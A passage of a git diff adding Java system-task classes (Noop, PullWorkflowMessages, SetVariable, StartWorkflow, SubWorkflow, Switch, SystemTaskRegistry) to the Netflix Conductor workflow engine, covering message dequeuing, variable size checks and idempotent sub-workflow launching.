    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_NOOP; + +@Component(TASK_TYPE_NOOP) +public class Noop extends WorkflowSystemTask { + + public Noop() { + super(TASK_TYPE_NOOP); + } + + @Override + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + task.setStatus(TaskModel.Status.COMPLETED); + return true; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/PullWorkflowMessages.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/PullWorkflowMessages.java new file mode 100644 index 0000000..a0939ab --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/PullWorkflowMessages.java @@ -0,0 +1,121 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.List; +import java.util.Optional; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.model.WorkflowMessage; +import com.netflix.conductor.core.config.WorkflowMessageQueueProperties; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.dao.WorkflowMessageQueueDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * System task that dequeues messages from the workflow's message queue. + * + *

    The task stays {@code IN_PROGRESS} until at least one message is available, then atomically + * pops up to {@code batchSize} messages and completes with the messages in the output. + * + *

    Input parameters: + * + *

      + *
    • {@code batchSize} (int, default 1) — maximum number of messages to pull per invocation + *
    • {@code blocking} (boolean, default true) — when {@code false}, completes immediately with + * an empty list if no messages are available instead of waiting + *
    + * + *

    Output: + * + *

      + *
    • {@code messages} — list of {@link WorkflowMessage} objects + *
    • {@code count} — number of messages actually returned + *
    + */ +@Component(PullWorkflowMessages.TASK_TYPE) +@ConditionalOnProperty(name = "conductor.workflow-message-queue.enabled", havingValue = "true") +public class PullWorkflowMessages extends WorkflowSystemTask { + + public static final String TASK_TYPE = "PULL_WORKFLOW_MESSAGES"; + static final String INPUT_BATCH_SIZE = "batchSize"; + static final String INPUT_BLOCKING = "blocking"; + static final String OUTPUT_MESSAGES = "messages"; + static final String OUTPUT_COUNT = "count"; + + private final WorkflowMessageQueueDAO dao; + private final WorkflowMessageQueueProperties properties; + + public PullWorkflowMessages( + WorkflowMessageQueueDAO dao, WorkflowMessageQueueProperties properties) { + super(TASK_TYPE); + this.dao = dao; + this.properties = properties; + } + + @Override + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + task.setStatus(TaskModel.Status.IN_PROGRESS); + } + + @Override + public boolean execute(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + int batchSize = getBatchSize(task); + List messages = dao.pop(workflow.getWorkflowId(), batchSize); + if (messages.isEmpty()) { + if (isBlocking(task)) { + // No messages yet — stay IN_PROGRESS; SystemTaskWorker will re-poll + return false; + } + // Non-blocking: complete immediately with empty output + } + task.addOutput(OUTPUT_MESSAGES, messages); + task.addOutput(OUTPUT_COUNT, messages.size()); + task.setStatus(TaskModel.Status.COMPLETED); + return true; + } + + @Override + public boolean isAsync() { + return true; + } + + @Override + public Optional getEvaluationOffset(TaskModel taskModel, long maxOffset) { + // Poll every 1 second while waiting for messages. + return Optional.of(1L); + } + + private boolean isBlocking(TaskModel task) { + Object raw = task.getInputData().get(INPUT_BLOCKING); + if (raw instanceof Boolean) { + return (Boolean) raw; + } + return true; // default: blocking + } + + private int getBatchSize(TaskModel task) { + Object raw = task.getInputData().get(INPUT_BATCH_SIZE); + int requested = 1; + if (raw instanceof Number) { + requested = ((Number) raw).intValue(); + } + if (requested < 1) { + requested = 1; + } + return Math.min(requested, properties.getMaxBatchSize()); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/SetVariable.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/SetVariable.java new file mode 100644 index 0000000..0c83279 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/SetVariable.java @@ -0,0 +1,125 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SET_VARIABLE; + +@Component(TASK_TYPE_SET_VARIABLE) +public class SetVariable extends WorkflowSystemTask { + + private static final Logger LOGGER = LoggerFactory.getLogger(SetVariable.class); + + private final ConductorProperties properties; + private final ObjectMapper objectMapper; + + private final ExecutionDAOFacade executionDAOFacade; + + public SetVariable( + ConductorProperties properties, + ObjectMapper objectMapper, + ExecutionDAOFacade executionDAOFacade) { + super(TASK_TYPE_SET_VARIABLE); + this.properties = properties; + this.objectMapper = objectMapper; + this.executionDAOFacade = executionDAOFacade; + } + + private boolean validateVariablesSize( + WorkflowModel workflow, TaskModel task, Map variables) { + String workflowId = workflow.getWorkflowId(); + long maxThreshold = properties.getMaxWorkflowVariablesPayloadSizeThreshold().toKilobytes(); + + try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream()) { + this.objectMapper.writeValue(byteArrayOutputStream, variables); + byte[] payloadBytes = byteArrayOutputStream.toByteArray(); + long payloadSize = payloadBytes.length; + + if (payloadSize > maxThreshold * 1024) { + String errorMsg = + String.format( + "The variables payload size: %d of workflow: %s is greater than the permissible limit: %d kilobytes", + payloadSize, workflowId, maxThreshold); + LOGGER.error(errorMsg); + task.setReasonForIncompletion(errorMsg); + return false; + } + return true; + } catch (IOException e) { + LOGGER.error( + "Unable to validate variables payload size of workflow: {}", workflowId, e); + throw new NonTransientException( + "Unable to validate variables payload size of workflow: " + workflowId, e); + } + } + + @Override + public boolean execute(WorkflowModel workflow, TaskModel task, WorkflowExecutor provider) { + Map variables = workflow.getVariables(); + Map input = task.getInputData(); + String taskId = task.getTaskId(); + ArrayList newKeys; + Map previousValues; + + if (input != null && input.size() > 0) { + newKeys = new ArrayList<>(); + previousValues = new HashMap<>(); + input.keySet() + .forEach( + key -> { + if (variables.containsKey(key)) { + previousValues.put(key, variables.get(key)); + } else { + newKeys.add(key); + } + variables.put(key, input.get(key)); + LOGGER.debug( + "Task: {} setting value for variable: {}", taskId, key); + }); + if (!validateVariablesSize(workflow, task, variables)) { + // restore previous variables + previousValues + .keySet() + .forEach( + key -> { + variables.put(key, previousValues.get(key)); + }); + newKeys.forEach(variables::remove); + task.setStatus(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR); + return true; + } + } + + task.setStatus(TaskModel.Status.COMPLETED); + executionDAOFacade.updateWorkflow(workflow); + return true; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/StartWorkflow.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/StartWorkflow.java new file mode 100644 index 0000000..2976c4d --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/StartWorkflow.java @@ -0,0 +1,151 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.HashMap; +import java.util.Map; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.core.execution.StartWorkflowInput; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; +import jakarta.validation.Validator; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_START_WORKFLOW; +import static com.netflix.conductor.model.TaskModel.Status.COMPLETED; +import static com.netflix.conductor.model.TaskModel.Status.FAILED; + +@Component(TASK_TYPE_START_WORKFLOW) +public class StartWorkflow extends WorkflowSystemTask { + + private static final Logger LOGGER = LoggerFactory.getLogger(StartWorkflow.class); + + private static final String WORKFLOW_ID = "workflowId"; + private static final String START_WORKFLOW_PARAMETER = "startWorkflow"; + + private final ObjectMapper objectMapper; + private final Validator validator; + + public StartWorkflow(ObjectMapper objectMapper, Validator validator) { + super(TASK_TYPE_START_WORKFLOW); + this.objectMapper = objectMapper; + this.validator = validator; + } + + @Override + public void start( + WorkflowModel workflow, TaskModel taskModel, WorkflowExecutor workflowExecutor) { + StartWorkflowRequest request = getRequest(taskModel); + if (request == null) { + return; + } + + if (request.getTaskToDomain() == null || request.getTaskToDomain().isEmpty()) { + Map workflowTaskToDomainMap = workflow.getTaskToDomain(); + if (workflowTaskToDomainMap != null) { + request.setTaskToDomain(new HashMap<>(workflowTaskToDomainMap)); + } + } + + // set the correlation id of starter workflow, if its empty in the StartWorkflowRequest + request.setCorrelationId( + StringUtils.defaultIfBlank( + request.getCorrelationId(), workflow.getCorrelationId())); + + try { + String workflowId = startWorkflow(request, workflow.getWorkflowId(), workflowExecutor); + taskModel.addOutput(WORKFLOW_ID, workflowId); + taskModel.setStatus(COMPLETED); + } catch (TransientException te) { + LOGGER.info( + "A transient backend error happened when task {} in {} tried to start workflow {}.", + taskModel.getTaskId(), + workflow.toShortString(), + request.getName()); + } catch (Exception ae) { + + taskModel.setStatus(FAILED); + taskModel.setReasonForIncompletion(ae.getMessage()); + LOGGER.error( + "Error starting workflow: {} from workflow: {}", + request.getName(), + workflow.toShortString(), + ae); + } + } + + private StartWorkflowRequest getRequest(TaskModel taskModel) { + Map taskInput = taskModel.getInputData(); + + StartWorkflowRequest startWorkflowRequest = null; + + if (taskInput.get(START_WORKFLOW_PARAMETER) == null) { + taskModel.setStatus(FAILED); + taskModel.setReasonForIncompletion( + "Missing '" + START_WORKFLOW_PARAMETER + "' in input data."); + } else { + try { + startWorkflowRequest = + objectMapper.convertValue( + taskInput.get(START_WORKFLOW_PARAMETER), + StartWorkflowRequest.class); + + var violations = validator.validate(startWorkflowRequest); + if (!violations.isEmpty()) { + StringBuilder reasonForIncompletion = + new StringBuilder(START_WORKFLOW_PARAMETER) + .append(" validation failed. "); + for (var violation : violations) { + reasonForIncompletion + .append("'") + .append(violation.getPropertyPath().toString()) + .append("' -> ") + .append(violation.getMessage()) + .append(". "); + } + taskModel.setStatus(FAILED); + taskModel.setReasonForIncompletion(reasonForIncompletion.toString()); + startWorkflowRequest = null; + } + } catch (IllegalArgumentException e) { + LOGGER.error("Error reading StartWorkflowRequest for {}", taskModel, e); + taskModel.setStatus(FAILED); + taskModel.setReasonForIncompletion( + "Error reading StartWorkflowRequest. " + e.getMessage()); + } + } + + return startWorkflowRequest; + } + + private String startWorkflow( + StartWorkflowRequest request, String workflowId, WorkflowExecutor workflowExecutor) { + StartWorkflowInput input = new StartWorkflowInput(request); + input.setTriggeringWorkflowId(workflowId); + return workflowExecutor.startWorkflow(input); + } + + @Override + public boolean isAsync() { + return true; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/SubWorkflow.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/SubWorkflow.java new file mode 100644 index 0000000..d7ee574 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/SubWorkflow.java @@ -0,0 +1,396 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.HashMap; +import java.util.Map; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.workflow.IdempotencyStrategy; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.core.execution.StartWorkflowInput; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW; + +@Component(TASK_TYPE_SUB_WORKFLOW) +public class SubWorkflow extends WorkflowSystemTask { + + private static final Logger LOGGER = LoggerFactory.getLogger(SubWorkflow.class); + private static final String SUB_WORKFLOW_ID = "subWorkflowId"; + private static final String SUB_WORKFLOW_LAUNCH_ERROR = "subWorkflowLaunchError"; + + private final ObjectMapper objectMapper; + private final IDGenerator idGenerator; + + public SubWorkflow(ObjectMapper objectMapper, IDGenerator idGenerator) { + super(TASK_TYPE_SUB_WORKFLOW); + this.objectMapper = objectMapper; + this.idGenerator = idGenerator; + } + + @SuppressWarnings("unchecked") + @Override + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + // Guard against double-start: if the task has already moved past SCHEDULED state, a + // sub-workflow was started on a prior call; skip re-creating it. + // NOTE: we deliberately do NOT check task.getSubWorkflowId() here because + // TaskModel.getSubWorkflowId() falls back to outputData, and retried tasks + // inherit outputData from their failed predecessor — that would cause the guard + // to trigger on a legitimately fresh retry attempt. + if (task.getStatus() != TaskModel.Status.SCHEDULED) { + LOGGER.warn( + "Sub-workflow task {} is already in state {}, skipping duplicate start.", + task.getTaskId(), + task.getStatus()); + return; + } + + Map input = task.getInputData(); + + // Null-safe version read: version may be absent when an inline workflowDefinition is + // supplied (the mapper skips the MetadataDAO lookup in that case). + // Use Number.intValue() — the same JSON round-trip issue that affects priority (Integer + // stored, Double retrieved) applies here: parseInt("2.0") would throw and silently fall + // back to null (= latest), causing the wrong sub-workflow version to be executed. + Integer resolvedVersion = null; + Object versionObj = input.get("subWorkflowVersion"); + if (versionObj instanceof Number) { + int version = ((Number) versionObj).intValue(); + resolvedVersion = version == 0 ? null : version; + } + + WorkflowDef workflowDefinition = null; + String name; + if (input.get("subWorkflowDefinition") != null) { + // Convert the runtime Map to a WorkflowDef. This supports both the static + // embedded-object form and the dynamic ${expr}-resolved form. + workflowDefinition = + objectMapper.convertValue( + input.get("subWorkflowDefinition"), WorkflowDef.class); + name = workflowDefinition.getName(); + } else { + name = + input.get("subWorkflowName") != null + ? input.get("subWorkflowName").toString() + : null; + if (name == null) { + throw new NonTransientException( + "SubWorkflow name is null and no workflowDefinition supplied"); + } + } + + Map taskToDomain = workflow.getTaskToDomain(); + if (input.get("subWorkflowTaskToDomain") instanceof Map) { + taskToDomain = (Map) input.get("subWorkflowTaskToDomain"); + } + + var wfInput = (Map) input.get("workflowInput"); + if (wfInput == null || wfInput.isEmpty()) { + wfInput = input; + } + + // Mark dynamically-generated sub-workflows so they can be identified downstream. + if (workflowDefinition != null) { + wfInput = new HashMap<>(wfInput); + Map systemMetadata = + wfInput.get("_systemMetadata") instanceof Map + ? new HashMap<>((Map) wfInput.get("_systemMetadata")) + : new HashMap<>(); + systemMetadata.put("dynamic", true); + wfInput.put("_systemMetadata", systemMetadata); + } + + // Priority: forward only when explicitly set in subWorkflowParams; otherwise leave null + // so the sub-workflow inherits the server default (avoids breaking existing behaviour). + // Use Number.intValue() to handle both Integer and Double (the latter appears after JSON + // round-trips through the data store — e.g. "7" stored as 7.0 cannot be parseInt'd). + Integer priority = null; + Object priorityObj = input.get("priority"); + if (priorityObj instanceof Number) { + priority = ((Number) priorityObj).intValue(); + } + + // Idempotency: read key and strategy forwarded by the mapper (fields present in + // SubWorkflowParams and now propagated end-to-end; enforcement is implementation-specific). + String idempotencyKey = null; + if (input.get("idempotencyKey") != null) { + idempotencyKey = String.valueOf(input.get("idempotencyKey")); + } + IdempotencyStrategy idempotencyStrategy = null; + if (input.get("idempotencyStrategy") != null) { + try { + idempotencyStrategy = + IdempotencyStrategy.valueOf( + String.valueOf(input.get("idempotencyStrategy"))); + } catch (IllegalArgumentException ignored) { + LOGGER.warn( + "Unknown idempotencyStrategy '{}' for task {} in {} — ignoring.", + input.get("idempotencyStrategy"), + task.getTaskId(), + workflow.toShortString()); + } + } + + String correlationId = workflow.getCorrelationId(); + + try { + // Derive the parent reference from the task itself, not from the + // caller-supplied `workflow` argument. `task.workflowInstanceId` is + // stamped on the task when it's scheduled and always identifies the + // workflow that owns the task. Reading it from `workflow` would let + // a wrong-context caller (e.g. updateParentWorkflowTask invoking + // SubWorkflow.execute with the child workflow as `workflow`) compute + // a divergent deterministic child id and mint a phantom workflow. + // Using the task-intrinsic ref makes the id derivation idempotent + // across all callers, so the existing child-id lock inside + // startWorkflowIdempotent serializes concurrent attempts onto the + // same workflow. + String parentWorkflowId = task.getWorkflowInstanceId(); + String subWorkflowId = + idGenerator.generateSubWorkflowId( + parentWorkflowId, task.getTaskId(), task.getRetryCount()); + LOGGER.debug( + "Launching sub-workflow task {} in parent workflow {} with deterministic child workflow id {}", + task.getTaskId(), + parentWorkflowId, + subWorkflowId); + + StartWorkflowInput startWorkflowInput = new StartWorkflowInput(); + startWorkflowInput.setWorkflowDefinition(workflowDefinition); + startWorkflowInput.setName(name); + startWorkflowInput.setVersion(resolvedVersion); + startWorkflowInput.setWorkflowInput(wfInput); + startWorkflowInput.setCorrelationId(correlationId); + startWorkflowInput.setParentWorkflowId(parentWorkflowId); + startWorkflowInput.setParentWorkflowTaskId(task.getTaskId()); + startWorkflowInput.setTaskToDomain(taskToDomain); + startWorkflowInput.setWorkflowId(subWorkflowId); + startWorkflowInput.setPriority(priority); + startWorkflowInput.setIdempotencyKey(idempotencyKey); + startWorkflowInput.setIdempotencyStrategy(idempotencyStrategy); + + // Attach to the created child as soon as the workflow record exists. The child's + // initial decide continues asynchronously through the decider queue. + WorkflowModel subWorkflow = + workflowExecutor.startWorkflowIdempotent(startWorkflowInput); + if (subWorkflow.getStatus().isTerminal() && !subWorkflow.getStatus().isSuccessful()) { + // The deterministic ID collides with a previously-terminated child (e.g. after a + // rerun). Start a fresh child with a new random ID instead of reusing the dead one. + startWorkflowInput.setWorkflowId(idGenerator.generate()); + subWorkflow = workflowExecutor.startWorkflowIdempotent(startWorkflowInput); + } + attachToSubWorkflow(task, subWorkflow); + } catch (TransientException te) { + task.setStatus(TaskModel.Status.SCHEDULED); + task.setReasonForIncompletion( + String.format( + "Transient error starting sub workflow %s: %s", name, te.getMessage())); + task.addOutput(SUB_WORKFLOW_LAUNCH_ERROR, te.getMessage()); + LOGGER.info( + "A transient backend error happened when task {} in {} tried to start sub workflow {}.", + task.getTaskId(), + workflow.toShortString(), + name, + te); + } catch (Exception ae) { + task.setStatus(TaskModel.Status.FAILED); + task.setReasonForIncompletion(ae.getMessage()); + LOGGER.error( + "Error starting sub workflow: {} from workflow: {}", + name, + workflow.toShortString(), + ae); + } + } + + @Override + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + String workflowId = task.getSubWorkflowId(); + if (StringUtils.isEmpty(workflowId)) { + // SCHEDULED-recovery: the parent task is scheduled but its child + // workflow id was never attached (e.g. async worker crashed mid- + // launch). Re-run start() — safe in any caller context because + // start() derives the deterministic id from task.workflowInstanceId, + // and the child-id lock inside startWorkflowIdempotent serializes + // any concurrent re-entry onto the same workflow. + if (task.getStatus() == TaskModel.Status.SCHEDULED) { + LOGGER.info( + "Retrying sub-workflow launch for task {} in parent workflow {} because it is scheduled without an attached child workflow id", + task.getTaskId(), + task.getWorkflowInstanceId()); + start(workflow, task, workflowExecutor); + return StringUtils.isNotEmpty(task.getSubWorkflowId()) + || task.getStatus().isTerminal(); + } + return false; + } + + WorkflowModel subWorkflow = workflowExecutor.getWorkflow(workflowId, false); + if (subWorkflow == null) { + // Sub-workflow may have already been deleted (e.g. data-store TTL expired). + LOGGER.warn( + "Cannot execute sub-workflow {} — not found in store (already deleted?).", + workflowId); + return false; + } + WorkflowModel.Status subWorkflowStatus = subWorkflow.getStatus(); + if (!subWorkflowStatus.isTerminal()) { + return false; + } + + updateTaskStatus(subWorkflow, task); + return true; + } + + @Override + public void cancel(WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + String workflowId = task.getSubWorkflowId(); + if (StringUtils.isEmpty(workflowId)) { + workflowId = + idGenerator.generateSubWorkflowId( + workflow.getWorkflowId(), task.getTaskId(), task.getRetryCount()); + LOGGER.info( + "Checking deterministic child workflow {} for unattached sub-workflow task {} in parent workflow {} during cancel", + workflowId, + task.getTaskId(), + workflow.getWorkflowId()); + try { + terminateSubWorkflow(workflow, workflowExecutor, workflowId); + } catch (NotFoundException e) { + LOGGER.info( + "No deterministic child workflow {} exists for unattached sub-workflow task {} in parent workflow {} during cancel", + workflowId, + task.getTaskId(), + workflow.getWorkflowId()); + } + } else { + terminateSubWorkflow(workflow, workflowExecutor, workflowId); + } + } + + private void terminateSubWorkflow( + WorkflowModel workflow, WorkflowExecutor workflowExecutor, String workflowId) { + WorkflowModel subWorkflow = workflowExecutor.getWorkflow(workflowId, true); + if (subWorkflow == null) { + // Sub-workflow may have already been deleted (e.g. data-store TTL expired). + LOGGER.warn( + "Cannot cancel sub-workflow {} — not found in store (already deleted?).", + workflowId); + return; + } + subWorkflow.setStatus(WorkflowModel.Status.TERMINATED); + String reason = + StringUtils.isEmpty(workflow.getReasonForIncompletion()) + ? "Parent workflow has been terminated with status " + workflow.getStatus() + : "Parent workflow has been terminated with reason: " + + workflow.getReasonForIncompletion(); + workflowExecutor.terminateWorkflow(subWorkflow, reason, null); + } + + /** + * Keep Subworkflow task asyncComplete. The Subworkflow task will be executed once + * asynchronously to move to IN_PROGRESS state, and will move to termination by Subworkflow's + * completeWorkflow logic, there by avoiding periodic polling. + * + * @param task + * @return + */ + @Override + public boolean isAsyncComplete(TaskModel task) { + return true; + } + + @Override + public boolean isAsync() { + return true; + } + + private void updateTaskStatus(WorkflowModel subworkflow, TaskModel task) { + WorkflowModel.Status status = subworkflow.getStatus(); + switch (status) { + case RUNNING: + case PAUSED: + task.setStatus(TaskModel.Status.IN_PROGRESS); + break; + case COMPLETED: + task.setStatus(TaskModel.Status.COMPLETED); + break; + case FAILED: + task.setStatus(TaskModel.Status.FAILED); + break; + case TERMINATED: + task.setStatus(TaskModel.Status.CANCELED); + break; + case TIMED_OUT: + task.setStatus(TaskModel.Status.TIMED_OUT); + break; + default: + throw new NonTransientException( + "Subworkflow status does not conform to relevant task status."); + } + + if (status.isTerminal()) { + if (subworkflow.getExternalOutputPayloadStoragePath() != null) { + task.setExternalOutputPayloadStoragePath( + subworkflow.getExternalOutputPayloadStoragePath()); + } else { + task.addOutput(subworkflow.getOutput()); + } + if (!status.isSuccessful()) { + task.setReasonForIncompletion( + String.format( + "Sub workflow %s failure reason: %s", + subworkflow.toShortString(), + subworkflow.getReasonForIncompletion())); + } + } + } + + /** + * We don't need the tasks when retrieving the workflow data. + * + * @return false + */ + @Override + public boolean isTaskRetrievalRequired() { + return false; + } + + private void attachToSubWorkflow(TaskModel task, WorkflowModel subWorkflow) { + LOGGER.info( + "Attached sub-workflow task {} in parent workflow {} to child workflow {} with status {}", + task.getTaskId(), + task.getWorkflowInstanceId(), + subWorkflow.getWorkflowId(), + subWorkflow.getStatus()); + task.setReasonForIncompletion(null); + task.setSubWorkflowId(subWorkflow.getWorkflowId()); + task.addOutput(SUB_WORKFLOW_ID, subWorkflow.getWorkflowId()); + task.getOutputData().remove(SUB_WORKFLOW_LAUNCH_ERROR); + updateTaskStatus(subWorkflow, task); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/Switch.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Switch.java new file mode 100644 index 0000000..bcbd004 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Switch.java @@ -0,0 +1,37 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SWITCH; + +/** {@link Switch} task is a replacement for now deprecated {@link Decision} task. */ +@Component(TASK_TYPE_SWITCH) +public class Switch extends WorkflowSystemTask { + + public Switch() { + super(TASK_TYPE_SWITCH); + } + + @Override + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + task.setStatus(TaskModel.Status.COMPLETED); + return true; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/SystemTaskRegistry.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/SystemTaskRegistry.java new file mode 100644 index 0000000..947eef9 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/SystemTaskRegistry.java @@ -0,0 +1,55 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.function.Function; +import java.util.stream.Collectors; + +import org.springframework.context.annotation.DependsOn; +import org.springframework.stereotype.Component; + +/** + * A container class that holds a mapping of system task types {@link + * com.netflix.conductor.common.metadata.tasks.TaskType} to {@link WorkflowSystemTask} instances. + */ +@Component +@DependsOn("workerTaskAnnotationScanner") +public class SystemTaskRegistry { + + public static final String ASYNC_SYSTEM_TASKS_QUALIFIER = "asyncSystemTasks"; + + private final Map registry; + + public SystemTaskRegistry(Set tasks) { + this.registry = + tasks.stream() + .collect( + Collectors.toMap( + WorkflowSystemTask::getTaskType, Function.identity())); + } + + public WorkflowSystemTask get(String taskType) { + return Optional.ofNullable(registry.get(taskType)) + .orElseThrow( + () -> + new IllegalStateException( + taskType + "not found in " + getClass().getSimpleName())); + } + + public boolean isSystemTask(String taskType) { + return registry.containsKey(taskType); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/SystemTaskWorker.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/SystemTaskWorker.java new file mode 100644 index 0000000..b503ccf --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/SystemTaskWorker.java @@ -0,0 +1,185 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

